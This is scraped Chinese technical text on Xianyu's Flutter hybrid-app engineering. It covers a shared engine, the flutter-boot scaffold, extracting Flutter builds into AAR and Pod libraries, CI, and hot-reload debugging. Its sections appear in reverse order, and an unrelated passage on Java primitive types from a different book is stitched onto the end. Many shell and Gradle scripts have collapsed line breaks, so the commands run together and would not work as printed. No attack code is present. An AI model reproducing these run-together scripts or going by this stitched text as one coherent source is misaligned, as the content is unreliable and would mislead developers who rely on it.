代码都运行在同一个引擎实例中,它们共享一个Isolate,则可以用统一的编程框架进行Widget之间的通信,多引擎实例也增加复杂度。 因此,综合多方面考虑,闲鱼并没有采用多引擎混合方案。3.现状与思考 考虑到多引擎存在的一些实际问题,所以闲鱼目前采用的混合方案是共享同一个引擎。这个方案基于这样一个事实:在任何时候最多只能看到一个页面,当然对于些特定的场景,可以看到多个ViewController,但是这些特殊场景我们这里不讨论。 可以这样简单地理解这个方案:把共享的Flutter View 当成一个画布,然后用一个Native 的容器作为逻辑的页面。每次在打开一个容器的时候,通过通信机制通知Flutter View 绘制成当前的逻辑页面,然后将FlutterView 放到当前容器里面。 老方案在Dart 侧维护了一个Navigator 栈的结构,如图1-20 所示。栈数据结构的特点是每次只能从栈顶操作页面,每一次在查找逻辑页面的时候,如果页面不在栈顶,则需要往回退栈。如此会导致中途被退栈的页面状态丢失,这个方案无法支持同时存在多个平级逻辑页面的情况,因为在切换页面的时候必须从栈顶操作,无法在保持状态的同时进行平级切换。 举个例子:有两个页面A 和B,当前页面B 在栈顶。切换到页面A需要把页面B 从栈顶Pop 出去,此时页面B 的状态丢失,如果想切回页面B,只能重新打开,页面B 之前页面的状态无法维持住。这也是老方案最大的一个局限。 如在Pop 的过程中,可能会把Flutter 官方的Dialog 误杀,这也是一个问题。 而且基于栈的操作,我们依赖对Flutter 框架的一个属性修改,让这个方案具有了侵入性的特点,这是另一个问题。图1-20
1.4 快速完成混合工程搭建 Flutter 的主要开发模式分成两种,一种是独立App 的模式,以Flutter为主,原生工程会被包含在Flutter 工程下;另一种是让Flutter 以模块(Flutter 模块)的形式存在,分别集成在已有的iOS 和Android 原生应用下,原生工程可以在任何的目录结构下,和Flutter 工程地址不产生关联,并需要在原生工程结构中声明Flutter 工程的本地地址。在Flutter 能够以模块形式存在之前,闲鱼进行了很长时间的混合App 架构的探索,对原生工程进行了比较多的改动。在Flutter 官方推出Flutter 模块模式后,我们进行了大量调研,最终推出了一套开箱即用的混合工程脚手架flutter-boot,有助于快速搭建混合工程。1.4.1 flutter-boot 简介 flutter-boot 主要解决了混合开发模式下的两个问题:Flutter 混合开发的工程化设计和混合栈。那么flutter-boot 是如何解决的呢? 首先在工程化设计的问题上,flutter-boot 建立了一套标准的工程创建流程和友好的交互命令。当流程执行完成后,即拥有了混合开发的标准工程结构。这一套工程结构能够帮助开发者同时拥有Flutter 开发和原生开发两种开发视角,本地Flutter 开发和云端Flutter 构建两种Flutter 集成模式,其效果如图1-19 所示。 另外,在混合栈方面,flutter-boot 能自动注入混合栈依赖,同时将核心的混合栈接入代码封装并注入原生工程内。用户按提示插入简单的几行模板代码后,即可看到混合栈的效果。使用flutter-boot 搭建的混合工程开箱即可使用,接下来介绍flutter-boot 解决这些问题的详细过程。图1-191.4.2 工程化设计1.了解官方的Add Flutter to existing apps 项目 在了解flutter-boot 的工程化设计细节之前,我们需要对Google 官方提供的Add Flutter to existing apps 方案有一个初步的了解。Add Flutter to existing apps 项目会引导开发者以模块的形式创建Flutter,模块形态的Flutter 的工程结构如下所示。some/path/ my_flutter/ lib/main.dart .ios/ .android/ 在官方的工程结构下,.ios 和.android 是模板工程,当在Flutter 工程目录下运行时,即通过这两个工程来启动应用。我们如何让原生工程和Flutter 产生关联呢? 这里的关联会分成三个部分, 分别是Flutter 的Framework、业务代码和插件库。其中,Flutter 插件库分成 Flutter Plugin Native(即插件原生代码)和Flutter Plugin Dart(即插件的Dart 代码)两个部分。这四部分的差异如表1-1 所示。表1-1 Flutter Framework 只需要在依赖管理中声明即可,Flutter Plugin Native可以直接以源码的方式集成,Flutter Plugin Dart 只有在被业务代码引用时才有效。和业务代码一样,需要支持Dart 代码的调试模式和发布模式。Dart 代码的关联会侵入App 的构建环节,根据App 构建的模式来决定Dart代码的构建模式。对于具体的实现,以iOS 系统为例,在podfile 文件中增加一个自定义的Ruby 脚本podfilehelper 的调用,podfilehelper 会声明Flutter Framework 的依赖、Flutter Plugin Native 的源码引用和业务代码的路径。接下来会介入构建流程,在Xcode 的build phase 内加入shell 脚本xcodebackend 的调用,xcodebackend 会根据当前构建模式产出Dart 构建产物。2.flutter-boot 的补充对于官方的混合工程项目,在体验过程中发现有如下问题:文件或配置的添加为手动添加,流程较长。不支持在Flutter 仓库下运行原生工程。不支持Flutter 以独立代码仓库部署时的远端机器构建。 因此,在flutter-boot 脚手架中,为了解决这些问题,把混合工程的部署分为create、link、remotelink 和update 四个过程。 (1)create create 过程在于搭建一个Flutter 模块,包括Flutter 模块的创建和Git仓库的部署。在调用Flutter 模块创建命令前,通过基础的检查,让工程位置和命名的规范满足官方条件。在部署Git 仓库时,会在gitignore 中忽略部分文件,同时对仓库的状态进行检查。当仓库为空时,直接添加文件;当仓库非空时,会优先清理仓库。 (2)link link 过程在于关联本地的原生工程和Flutter 工程。在关联的过程中,会先请求获取Flutter 工程的地址和原生工程的地址,然后将需要手动集成的部分通过脚本的方式自动集成。为了获得Flutter 开发视角(即Flutter工程下运行原生工程),将原生工程进行了软链接,链接到Flutter 工程的iOS 目录和Android 目录。Flutter 在运行前会找到工程下的iOS 或Android目录然后运行。在Flutter 工程下运行iOS 工程会存在一个限制,即iOS 工程的target 需要指定为runner。为了解决这个问题,将原生工程的主target进行了复制,命名为runner 的target。同时,为了支持远程构建的模式,将Flutter 仓库本地路径的声明根据构建模式进行了区分,封装在自定义的依赖脚本中。例如在iOS 工程内,会添加fbpodhelper.rb 脚本文件,然后将Flutter 仓库本地路径添加到配置文件fbConfig.local.json 中。 (3)remotelink && update 在远端构建模式下,通过remotelink 能够获取Flutter 仓库的代码,并在远端机器上进行构建。在远端构建模式下,我们会侵入依赖管理的过程,在获取依赖时,拉取Flutter 仓库的代码,将代码放置在原生工程的.fbflutter目录下,并将该目录声明为Flutter 仓库本地路径。对于拉取Flutter 代码并进行本地部署的过程,我们称为update 过程。在远端构建时,就能和本地构建如出一辙。那么如何区分远端模式和本地模式呢?我们将远端的Flutter 仓库信息记录在fbConfig.json 中, 同时在gitignore 中忽略fbConfig.local.json 文件,这样只需要负责初始化混合工程的工程师运行一次remotelink,其他的开发协同者将不用关注远端构建的配置流程。 (4)init 为了便于快速搭建,我们提供了一个命令集合,命名为init,将必备的环节以命令行交互的模式集成在了init 命令中。1.4.3 混合栈 混合栈是闲鱼开源的一套用于Flutter 混合工程下协调原生页面与Flutter 页面交互的框架,目前是混合开发模式下的主流框架。在混合栈开源后,有大量开发者在集成混合栈时会遇到因各种环境配置或代码添加导致的集成问题,为此这里提供一套快速集成的方案。1.集成问题 要做到快速集成,面临两个问题:Flutter 和混合栈的版本兼容,混合栈Demo 代码封装及插入。 (1)版本兼容问题 目前支持的混合栈版本为0.1.52,支持Flutter 1.5.4。当Flutter 升级时,混合栈势必要进行适配,即集成的混合栈版本也需要变更。因此,将混合栈的版本配置通过文件进行维护,记录当前Flutter 所需要的混合栈版本。在初版的flutter-boot 中,我们限定了混合栈的版本号,在发布新版本混合栈时,将开放版本选择的功能。 (2)代码封装及插入问题 在调研了混合栈的使用过程后,将混合栈需要的Demo 代码分成了四个部分:Flutter 引擎的托管,页面路由的配置,Demo 形式的Dart 页面,原生的测试跳转入口。2.解决方案 ① Flutter 引擎的托管 对于引擎的托管,依赖于应用的初始化。由于初始化过程随着应用的复杂而复杂,因此目前提供了一行代码作为接口,使用者在初始化应用时加入这一行代码即可完成托管。 ② 页面路由的配置 &&Demo 形式的Dart 页面 路由配置指路由到某个标识符时,Flutter 页面或原生页面需要识别并跳转到相应页面。路由的配置需要在原生页面和Flutter 页面两侧进行部署。在原生侧,将混合栈的Demo 路由代码进行了精简,然后将其添加到原生工程的固定目录下。由于iOS 仅添加代码文件是不会被纳入构建范围的,因此封装了一套iOS 侧的代码添加工具来实现文件的插入。在Flutter侧,对main.dart 文件进行了覆盖,将带有路由逻辑的main.dart 集成进来,同时提供了Demo 形成的Dart 页面的创建逻辑。 ③ 原生的测试跳转入口 为了方便使用者快速看到混合工程的跳转模式,在iOS 和Android 双端封装了一个入口按钮和按钮的添加过程,使用者在测试页面手动加入一行代码,即可看到跳转Flutter 的入口。3.最终效果 在使用flutter-boot 前,开发者可能要花费数天来进行混合工程搭建。现在,开发者只需要调用一个命令,加入两行代码即可完成混合工程的搭建,大大降低了开发成本。但flutter-boot 的使命还未达成,我们期望开发者能更加流畅地进行Flutter 开发,未来会优化多人协同的开发流程,完善持续集成环境的搭建,让开发者拥有更佳的开发体验。
1.3.3 iOS 依赖的Flutter 库的抽取1.iOS 中的Flutter 依赖文件是如何产生的 执行编译命令“flutter build ios”,最终会执行Flutter 的编译脚本[xcode_backend.sh],而这个脚本主要做了下面几件事: 获取各种参数,如project_path、target_path、build_mode 等,主要来自Generated.xcconfig 的各种定义。 删除Flutter 目录下的App.framework 和app.flx。 对比Flutter/Flutter.framework 与FLUTTER_ROOT/bin/cache/artifacts/engine {artifact_variant}目录下的Flutter.framework,若不相等,则用后者覆盖前者。 获取生成App.framework 命令所需参数, 包括build_dir 、local_engine_flag、preview_dart_2_flag 和aot_flags。 生成App.framework , 并将生成的App.framework 和AppFrameworkInfo.plist 拷贝到Xcode 工程的Flutter 目录下。2.iOS 的Flutter 依赖抽取实现 编译Flutter 工程,生成App.framework。echo "===清理flutter 历史编译==="./flutter/bin/flutter cleanecho "===重新生成plugin 索引==="./flutter/bin/flutter packages getecho "===生成App.framework 和flutter_assets==="./flutter/bin/flutter build ios --release 将各插件打包为静态库。这里主要有两步:一是将插件打包成二进制库文件,二是将插件的注册入口打包成二进制库文件。echo "===生成各个插件的二进制库文件==="cd ios/Pods#/usr/bin/env xcrun xcodebuild clean#/usr/bin/env xcrun xcodebuild build -configuration ReleaseARCHS='arm64 armv7' BUILD_AOT_ONLY=YES VERBOSE_SCRIPT_LOGGING=YES-workspace Runner.xcworkspace -scheme Runner BUILD_DIR=../build/ios-sdk iphoneosfor plugin_name in ${plugin_arr}do echo "生成lib${plugin_name}.a..." /usr/bin/env xcrun xcodebuild build -configuration ReleaseARCHS='arm64 armv7' -target ${plugin_name}BUILD_DIR=../../build/ios -sdk iphoneos -quiet /usr/bin/env xcrun xcodebuild build -configuration DebugARCHS='x86_64' -target ${plugin_name} BUILD_DIR=../../build/ios-sdk iphonesimulator -quiet echo "合并lib${plugin_name}.a..." lipo -create"../../build/ios/Debug-iphonesimulator/${plugin_name}/lib${plugin_name}.a""../../build/ios/Release-iphoneos/${plugin_name}/lib${plugin_name}.a" -o"../../build/ios/Release-iphoneos/${plugin_name}/lib${plugin_name}.a"doneecho "===生成注册入口的二进制库文件==="for reg_enter_name in "flutter_plugin_entrance""flutter_service_register"do echo "生成lib${reg_enter_name}.a..." /usr/bin/env xcrun xcodebuild build -configuration ReleaseARCHS='arm64 armv7' -target ${reg_enter_name}BUILD_DIR=../../build/ios -sdk iphoneos /usr/bin/env xcrun xcodebuild build -configuration DebugARCHS='x86_64' -target ${reg_enter_name} BUILD_DIR=../../build/ios-sdk iphonesimulator echo "合并lib${reg_enter_name}.a..." lipo -create"../../build/ios/Debug-iphonesimulator/${reg_enter_name}/lib${reg_enter_name}.a""../../build/ios/Release-iphoneos/${reg_enter_name}/lib${reg_enter_name}.a" -o"../../build/ios/Release-iphoneos/${reg_enter_name}/lib${reg_enter_name}.a"done 将这些上传到远程仓库,并生成新的标签。对于纯Native 项目,只需要更新Pod 依赖即可。1.3.4 Flutter 混合工程的持续集成流程 按上述方式,就可以解除Native 工程对Flutter 工程的直接依赖了,但是在日常开发中还存在一些其他问题:Flutter 工程更新,远程依赖库更新不及时。版本集成时,容易忘记更新远程依赖库,导致版本没有集成最新的Flutter 功能。多条线并行开发Flutter 时,版本管理混乱,容易出现远程库被覆盖的问题。需要最少一名开发人员持续跟进发布,人工成本较高。 针对这些问题,闲鱼引入了CI 自动化框架,从两方面来解决:一方面是通过自动化降低人工成本,也减少人为失误;另一方面是用自动化的形式做好版本控制。 首先,在每次需要构建纯Native 工程之前,自动完成Flutter 工程对应的远程库的编译发布工作,整个过程不需要人工干预。其次,在开发测试阶段,采用五段式的版本号,最后一位自动递增产生,这样就可以保证测试阶段所有并行开发的Flutter 库的版本号不会产生冲突。最后,在发布阶段,采用三段式或四段式的版本号,可以和App 版本号保持一致,便于后续问题追溯。 整个流程如图1-18 所示。图1-18
1.3 混合工程与持续集成 本节重点介绍Flutter 混合工程中解除Native 工程对Flutter 的直接依赖的具体实现方法。1.3.1 背景思考 因为闲鱼采用的是Flutter 和Native 混合开发的模式,所以存在一部分开发人员只做Native 开发,并不熟悉Flutter 技术。 (1)如果直接采用Flutter 工程结构作为日常开发,则Native 开发人员也需要配置Flutter 环境,了解Flutter 技术,成本比较高。 (2)目前阿里巴巴集团的构建系统并不支持直接构建Flutter 项目,这也要求闲鱼解除Native 工程对Flutter 的直接依赖。 基于这两点考虑,闲鱼希望设计一个Flutter 依赖抽取模块,可以将Flutter 的依赖抽取为一个Flutter 依赖库并发布到远程,供纯Native 工程引用,如图1-16 所示。图1-161.3.2 实现方法 1.Native 工程依赖的Flutter 分析 分析Flutter 工程,会发现Native 工程对Flutter 工程的依赖主要有三部分:Flutter 库和引擎。Flutter 的Framework 库和引擎库。Flutter 工程。我们自己实现的Flutter 模块功能,主要为在Flutter 工程lib 目录下,由Dart 代码实现的这部分功能。自己实现的Flutter Plugin。 解开Android 和iOS 的App 文件,可以发现Flutter 依赖的主要文件如图1-17 所示。图1-17 (1)Android 的Flutter 依赖的文件Flutter 库和引擎。包括icudtl.dat、libflutter.so,以及一些class 文件。它们都被封装在flutter.jar 中,这个jar 文件位于Flutter 库目录下的[flutter/bin/cache/artifacts/engine]中。Flutter 工程产物。包括isolate_snapshot_data、isolate_snapshot_instr、vm_snapshot_data、vm_snapshot_instr 和flutter_assets。Flutter Plugin 。各个Plugin 编译出来的AAR 文件, 包括:isolate_snapshot_data(应用程序数据段)、isolate_snapshot_instr(应用程序指令段)、vm_snapshot_data (虚拟机数据段)、vm_snapshot_instr(虚拟机指令段)。 (2)iOS 的Flutter 依赖的文件Flutter 库和引擎。Flutter.framework。Flutter 工程的产物。App.framework。Flutter Plugin。编译出来的各种Plugin 的Framework,以及图1-17 中的其他Framework。 我们只需要将编译结果抽取出来,打包成一个SDK 依赖的形式提供给Native 工程,就可以解除Native 工程对Flutter 工程的直接依赖。 2.Android 依赖的Flutter 库抽取 (1)Android 中Flutter 编译任务分析 Flutter 工程的Android 打包,其实只是在Android 的Gradle 任务中插入了一个flutter.gradle 任务,而flutter.gradle 主要做了三件事(这个文件可以在Flutter 库中的[flutter/packages/flutter_tools/gradle]目录下能找到):增加flutter.jar 的依赖。插入Flutter Plugin 的编译依赖。插入Flutter 工程的编译任务,得到的产物包括两个isolate_snapshot 文件、两个vm_snapshot 文件和flutter_assets 文件夹。然后将产物拷贝到mergeAssets.outputDir,最后合并到APK 的assets 目录下。 (2)Android 的Flutter 依赖抽取实现 对Android 的Flutter 依赖抽取步骤如下: (a)编译Flutter 工程 这部分的主要工作是编译Flutter 的Dart 和资源部分,可以用AOT 和Bundle 命令编译。echo "Clean old build"find . -d -name "build" | xargs rm -rf./flutter/bin/flutter cleanecho "Get packages"./flutter/bin/flutter packages getecho "Build release AOT"./flutter/bin/flutter build aot --release --preview-dart-2--output-dir= build/flutteroutput/aotecho "Build release Bundle"./flutter/bin/flutter build bundle --precompiled --preview-dart-2--asset-dir=build/flutteroutput/flutter_assets (b)将flutter.jar 和Flutter 工程的产物打包成一个AAR 主要工作是将flutter.jar 和第1 步编译的产物封装成一个AAR 文件。 添加flutter.jar 依赖。project.android.buildTypes.each { addFlutterJarImplementationDependency(project,releaseFlutterJar)}project.android.buildTypes.whenObjectAdded { addFlutterJarImplementationDependency(project,releaseFlutterJar)}private static void addFlutterJarImplementationDependency(Projectproject, releaseFlutterJar) { project.dependencies { String configuration if (project.getConfigurations().findByName("api")) { configuration = "api" } else { configuration = "compile" } add(configuration, project.files { releaseFlutterJar }) }} 将Flutter 的产物合并到assets。// 合并 flutter assetsdef allertAsset="${project.projectDir.getAbsolutePath()}/flutter/assets/ release"Task mergeFlutterAssets = project.tasks.create(name:"mergeFlutterAssets${variant.name.capitalize()}", type: Copy) { dependsOn mergeFlutterMD5Assets from (allertAsset){ include "flutter_assets/**" include "vm_snapshot_data" include "vm_snapshot_instr" include "isolate_snapshot_data" include "isolate_snapshot_instr" } into variant.mergeAssets.outputDir}variant.outputs[0].processResources.dependsOn(mergeFlutterAssets) (c)同时将AAR 文件和Flutter Plugin 编译出来的AAR 文件一起发布到Maven 仓库 发布Flutter 工程产物打包的AAR 文件。echo 'Clean packflutter input(flutter build)'rm -f -r android/packflutter/flutter/# 拷贝flutter.jarecho 'Copy flutter jar'mkdir -p android/packflutter/flutter/flutter/android-arm-release &&cpflutter/bin/cache/artifacts/engine/android-arm-release/flutter.jar "$_"# 拷贝assetecho 'Copy flutter asset'mkdir -p android/packflutter/flutter/assets/release && cp -r build/flutteroutput/aot/* "$_"mkdir -p android/packflutter/flutter/assets/release/flutter_assets&& cp -r build/flutteroutput/flutter_assets/* "$_"# 将Flutter 库和flutter_app 打成AAR 文件,同时发布到Ali-mavenecho 'Build and publish idlefish flutter to aar'cd androidif [ -n "$1" ]then ./gradlew :packflutter:clean :packflutter:publish-PAAR_VERSION=$1else ./gradlew :packflutter:clean :packflutter:publishficd ../ 发布Flutter Plugin 的AAR 文件。# 将Plugin 发布到Ali-mavenecho "Start publish flutter-plugins"for line in $(cat .flutter-plugins)do plugin_name=${line%%=*} echo 'Build and publish plugin:' ${plugin_name} cd android if [ -n "$1" ] then ./gradlew :${plugin_name}:clean :${plugin_name}:publish-PAAR_VERSION =$1 else ./gradlew :${plugin_name}:clean :${plugin_name}:publish fi cd ../done (d)纯粹的Native 项目只需要依赖我们发布到Maven 的AAR 文件即可。 在平时开发阶段,需要实时地依赖最新的AAR 文件,所以采用snapshot 版本。configurations.all { resolutionStrategy.cacheChangingModulesFor 0, 'seconds'}ext { flutter_aar_version = '6.0.2-SNAPSHOT'}dependencies { //Flutter 主工程依赖:包含基于Flutter 开发的功能、Flutter 引擎libcompile("com.taobao.fleamarket:IdleFishFlutter:${getFlutterAarVersion(project)}") { changing = true } //其他依赖}static def getFlutterAarVersion(project) { def resultVersion = project.flutter_aar_version if (project.hasProperty('FLUTTER_AAR_VERSION')) { resultVersion = project.FLUTTER_AAR_VERSION } return resultVersion}
1.2.3 方案的制定1.两种模式 首先将Native 工程处于独立目录环境下称为Standalone 模式,处于Flutter 目录下称为Flutter 模式。纯Native 开发或平台打包就处于Standalone模式,Flutter 对开发人员和打包平台来说是透明的,不会影响构建与调试。而Flutter 的代码则在Flutter 模式下进行开发,其相关库的生成、编译和调试都执行Flutter 定义的流程,如图1-13 所示。图1-13 两种工程模式2.厘清依赖 从模式的定义来看,既然改造的核心就是把Standalone 模式提取出来,那么就要厘清Standalone 模式对Flutter 的依赖,并将其提取成第三方的库、资源或源码文件。以iOS 为例,通过阅读Flutter 构建的源码,可知Xcode工程对Flutter 有如下依赖: 1)App.framework:Dart 业务源码相关文件。 2)Flutter.framework:Flutter 引擎库文件。 3)pubs 插件目录及用于索引的文件:Flutter 下的插件,包括各种系统的插件和自定义的channels(桥接通道) 4)flutter_assets:Flutter 依赖的静态资源,如字体和图片等。3.依赖引入的策略 在改造过程中,闲鱼尝试过两种依赖引入策略,下面分别进行阐述。 (1)本地依赖。通过修改Flutter 构建流程,将其库文件、源码和资源直接放置到Native 工程的子目录中进行引用,以iOS 为例,就是将Flutter.framework 及相关插件等做成本地的Pod 依赖,也将资源复制到本地进行维护。由此,Standalone 模式便具备了独立构建和执行的能力,对于纯Native 开发人员来说,Flutter 只是一些二方库与资源的合集,无须关注。而在Flutter 模式下,Dart 源码的构建流程不变,不影响编译和调试。同时,由于是本地依赖,在Flutter 模式下的各种改动也可以实时地同步到Native 工程的子目录中。提交修改后,Standalone 模式也就拥有了最新的Flutter 相关功能。 优点:将Flutter 相关内容的改动同步到Standalone 模式也比较方便; 缺点:需要对Flutter 原有的构造流程进行稍复杂的改动,并且与后续的Flutter 代码合并会有冲突,且Native 工程与Flutter 的代码、库及资源等内容还是耦合在本地,不够独立。 (2)远程依赖。远程依赖的想法是将Flutter 所有依赖内容都放在独立的远端仓库中,在Standalone 模式下引用远程仓库中的相关资源、源码和库文件,在Flutter 模式下的构建流程和引用方式不变,如图1-14 所示。 优点:对Flutter 自身的构建流程改动较少,较彻底地解决了本地耦合的问题。 缺点:同步的流程变得更烦琐,Flutter 内容的变动需要先同步到远程仓库后再同步到Standalone 模式方能生效。图1-141.2.4 改造的实现过程1.目录的组织 在Flutter 模式下,父工程目录下的iOS 和Android 的子目录分别包含对应的Native 工程。在代码管理上,子工程可以使用Git 的Submodule 形式,保证目录间的独立。2.远程依赖的实现 在Standalone 模式下,Flutter 的依赖内容都指向远程仓库中的对应文件,而在Flutter 模式下依赖的方式不变。 (1)向Standalone 模式同步Flutter 的变更。由于远程依赖的问题是同步变动比较麻烦,为此闲鱼开发了一系列脚本工具,使该过程尽量自动完成。假设Flutter 的内容(可能是业务源码、引擎库或某些资源文件)发生变化,那么在Flutter 模式下构建结束后,脚本会提取生成好的所有依赖文件并将其复制到远程仓库,提交并打标签,然后依据打出的标签生成新的远程依赖说明(如iOS 下的podspec 文件),最后在Standalone 模式下将Flutter 的依赖修改至最新的版本,从而完成整个同步过程,如图1-15 所示。图1-15 (2)同步的时机 建议在提测及灰度期间,每次Flutter 业务的提交都能够触发同步脚本的执行和App 打包;在开发期间,保持每日一次的同步即可。 为解决引入Flutter 后的工程适配问题,闲鱼抽取了Flutter 的相关依赖放到远程供纯Native 工程进行引用,从而保证了Flutter 与纯Native 开发的相互独立与并行执行。 该方案已在闲鱼施行了几个版本,并反向输出给了Flutter 团队,为其后续的hybrid 工程组织计划提供了方向和参考。同时,相信该方案也可以为转型Flutter 的团队提供帮助,虽然项目间的差异也会导致方案的不同,但是实施的思路依然有借鉴价值。
1.1.6 Native 启动下的Flutter 热重载 启动App,进入Flutter 页面,查找Observatory 端口x 和认证码y。 在Flutter 工程目录下, 执行flutter attach --debug-uri=http://127.0.0.1:x/y/。kylewong@KyleWongdeMacBook-Pro fwn_idlefish % flutter/bin/flutterattach --debug-uri=http://127.0.0.1:63515/2T0iU5TV0As=/[KWLM]: [attach, --debug-uri=http://127.0.0.1:63515/2T0iU5TV0As=/]Syncing files to device KyleWong's iPhone... To hot reload changes while running, press "r". To hot restart (andrebuild state), press "R".An Observatory debugger and profiler on KyleWong's iPhone is availableat: http://127.0.0.1:63515/2T0iU5TV0As=/For a more detailed help message, press "h", To detach, press "d";to quit, press "q". 修改Dart 源代码,然后在Terminal 中输入r(位于'to quit,press"q"'之后)。 new Padding( padding: new EdgeInsets.only(left: 22.0), child: createButton( videoIsFullScreen, { 'foreground': 'fundetail_superfavor_white', 'background': 'super_favor_unhighlight' }, 'super_favor_highlight', '赞', buttonSelectedStatus['superfavor'], () { superLikeComponent.clickV2(widget.itemInfo.itemId,widget.itemInfo.userId, widget.itemInfo.fishPoolId, widget.itemInfo.superFavorInfo.superFavored,widget.itemInfo.trackParams); }), ) 这里将超赞文案换成了“赞”。可以看到Terminal 显示"Initializing hot reload...Reloaded...",结束后,设备上变更生效,左下角文案变成了“赞”,如图1-11 所示。 在Android 中,Native 启动的Flutter 调试和热重载与iOS 类似,不同的是可通过IDE Logcat 或者ADB Logcat | grep Observatory 获取端口,端口转发使用ADB forward。图1-111.1.7 Native 与Flutter 联合调试 除了可以在任意时刻(Flutter 启动后)调试Flutter,还可以使用Android Studio 的Attach Debugger to Android Process 调试Android,这就实现了Android 与Flutter 联调。同样,结合Xcode 的Attach to Process,可以实现iOS 与Flutter 联调。1.1.8 持续集成 闲鱼团队有Native 开发人员和Flutter 开发人员,因此区分了Flutter模式和Native 模式。有一台公共设备(Mac Mini)安装了Flutter 环境并负责Flutter 相关的构建,构建好的产物以AAR(Android)或Pod 库(iOS)的形式集成到Native 工程下(可以认为Flutter 相关的代码就是一个模块),用于构建最终产物APK(Android)或IPA(iOS)的CI 平台最终也通过产物方式集成Flutter 并打包。
第1章 混合工程1.1 Flutter 工程体系1.1.1 混合工程研发体系介绍 工程研发体系的关键点包括:混合工程下的Flutter 研发结构。在混合工程中,一个全局视角的研发结构是什么样的。工程结构。已有的Native 工程如何引入Flutter,工程结构如何组织,如何管理Flutter 环境,如何编译构建和集成打包等。构建优化。如何针对Flutter 的工具链(flutter_tools、IntelliJ 插件等)进行调试与优化。 Native 启动下的Flutter 调试。不同于Flutter 启动下的一体化调试,这种Native 启动(Xcode、Android Studio 启动,或点击图标打开应用)下的Flutter 调试,我们称为分离式调试。分离式调试可以简化flutter_tools 带来的复杂度,提高调试的稳定性和灵活性。Native 启动下的Flutter 热重载。联合调试。同时调试Flutter 和Android/iOS。持续集成。混合环境下的Flutter 构建与持续集成。1.1.2 混合工程下的Flutter 研发结构 如图1-1 所示,在这个工程研发体系中,基于Flutter 的官方仓库,开发者可以获取引擎依赖,进行适当修改,以满足定制化场景下的需求。开发完毕各模块后发布到私有Pub 仓库,再通过pubspec.yaml 被业务代码依赖和集成。在构建时,首先将Dart 代码编译成产物(App.framework 或Snapshot),再通过标准的Pod(iOS)依赖或者Gradle(Android)依赖集成到IPA(iOS)和APK(Android)中去。对于Native 开发人员,无须关注Flutter 部分的细节;对于Flutter 开发人员,可以通过启动Flutter 工程调试,也可以在Native 工程启动后打开Flutter 页面(Observatory 开始监听),利用Dart 远程连接的方式实现调试。图1-11.1.3 工程结构 这部分的核心逻辑是如何在最小改动已有iOS 或Android 工程的前提下运行Flutter。可以将Flutter 部分理解为一个单独的模块,通过Pod 库(iOS)或AAR 库(Android)的方式,由CocoaPods 和Gradle 引入主工程,如图1-2 所示。图1-21.1.4 构建优化 问题:Android 在由Flutter 启动时构建缓慢。 原因: 在Flutter 工具链( flutter_tools ) 的逻辑中, 当未找到android/app/build.gradle 时,会运行gradle build,从而执行多个编译配置的构建,而不是gradle assembleDebug。 解法:重构Android 工程,使工程应用Module 对应的build.gradle 位于android/app 下,从而符合flutter_tools 的逻辑。 flutter_tools 的调试方法如下。 (1)修改flutter_tools.dart,使之可打印参数。import 'package:flutter_tools/executable.dart' as executable;void main(List<String> args) { print('[KWLM]:${args.join(' ')}'); executable.main(args);} (2)删除flutter/bin/cache/fluttertools.stamp,使得fluttertools 可以被重建。# Invalidate cache if:# * SNAPSHOT_PATH is not a file, or# * STAMP_PATH is not a file with nonzero size, or# * Contents of STAMP_PATH is not our local git HEAD revision, or# * pubspec.yaml last modified after pubspec.lockif [[ ! -f "$SNAPSHOT_PATH" || ! -s "$STAMP_PATH" || "$(cat"$STAMP_PATH")" != "$revision" || "$FLUTTER_TOOLS_DIR/pubspec.yaml"-nt "$FLUTTER_TOOLS_DIR/ pubspec.lock" ]]; then rm -f "$FLUTTER_ROOT/version" touch "$FLUTTER_ROOT/bin/cache/.dartignore" "$FLUTTER_ROOT/bin/internal/update_dart_sdk.sh" VERBOSITY="--verbosity=error" echo Building flutter tool... if [[ "$CI" == "true" || "$BOT" == "true" ||"$CONTINUOUS_INTEGRATION" == "true" || "$CHROME_HEADLESS" == "1" ]];then PUB_ENVIRONMENT="$PUB_ENVIRONMENT:flutter_bot" VERBOSITY="--verbosity=normal"fiexport PUB_ENVIRONMENT="$PUB_ENVIRONMENT:flutter_install"if [[ -d "$FLUTTER_ROOT/.pub-cache" ]]; then export PUB_CACHE="${PUB_CACHE:-"$FLUTTER_ROOT/.pub-cache"}"fi retry_upgrade "$DART" $FLUTTER_TOOL_ARGS --snapshot="$SNAPSHOT_PATH"--packages= "$FLUTTER_TOOLS_DIR/.packages" "$SCRIPT_PATH" echo "$revision" > "$STAMP_PATH"fi (3)从Flutter 运行构建,获取其入口参数。Building flutter tool...[KWLM]:--no-color run --machine --track-widget-creation--device-id= GWY7N16A31002764 --start-paused lib/main.dartRunning "flutter packages get" in hello_world...0.4sLaunching lib/main.dart on MHA AL00 in debug mode...Initializing gradle...Resolving dependencies... (4)用IntelliJ(或Android Studio,下同)打开flutter_tools 工程,新建Dart Command Line App,并基于步骤(3)获得的入参来配置“Program arguments”,如图1-3 所示。图1-3 (5)开始flutter_tools 调试,如图1-4 所示。图1-4
2.7 数据类型2.7.1 基本数据类型 虽然Java 是面向对象编程语言,一切皆是对象,但是为了兼容人类根深蒂固的数据处理习惯,加快常规数据的处理速度,提供了9 种基本数据类型,它们都不具备对象的特性,没有属性和行为。基本数据类型是指不可再分的原子数据类型,内存中直接存储此类型的值,通过内存地址即可直接访问到数据,并且此内存区域只能存放这种类型的值。Java 的9 种基本数据类型包括boolean、byte、char、short、int、long、float、double 和refVar。前8 种数据类型表示生活中的真假、字符、整数和小数,最后一种refVar 是面向对象世界中的引用变量,也叫引用句柄。本书认为它也是一种基本数据类型。前8 种都有相应的包装数据类型,除char 的对应包装类名为Character,int 为Integer 外,其他所有对应的包装类名就是把首字母大写即可。这8种基本数据类型的默认值、空间占用大小、表示范围及对应的包装类等信息如表2-4所示。 默认值虽然都与0 有关,但是它们之间是存在区别的。比如,boolean 的默认值以0 表示的false,JVM 并没有针对boolean 数据类型进行赋值的专用字节码指令,boolean flag = false 就是用ICONST_0,即常数0 来进行赋值;byte 的默认值以一个字节的0 表示,在默认值的表示上使用了强制类型转化;float 的默认值以单精度浮点数0.0f 表示,浮点数的0.0 使用后缀f 和d 区别标识;char 的默认值只能是单引号的'\u0000'表示NUL,注意不是null,它就是一个空的不可见字符,在码表中是第一个,其码值为0,与'\n' 换行之类的不可见控制符的理解角度是一样的。注意,不可以用双引号方式对char 进行赋值,那是字符串的表示方式。在代码中直接出现的没有任何上下文的0 和0.0 分别默认为int 和double 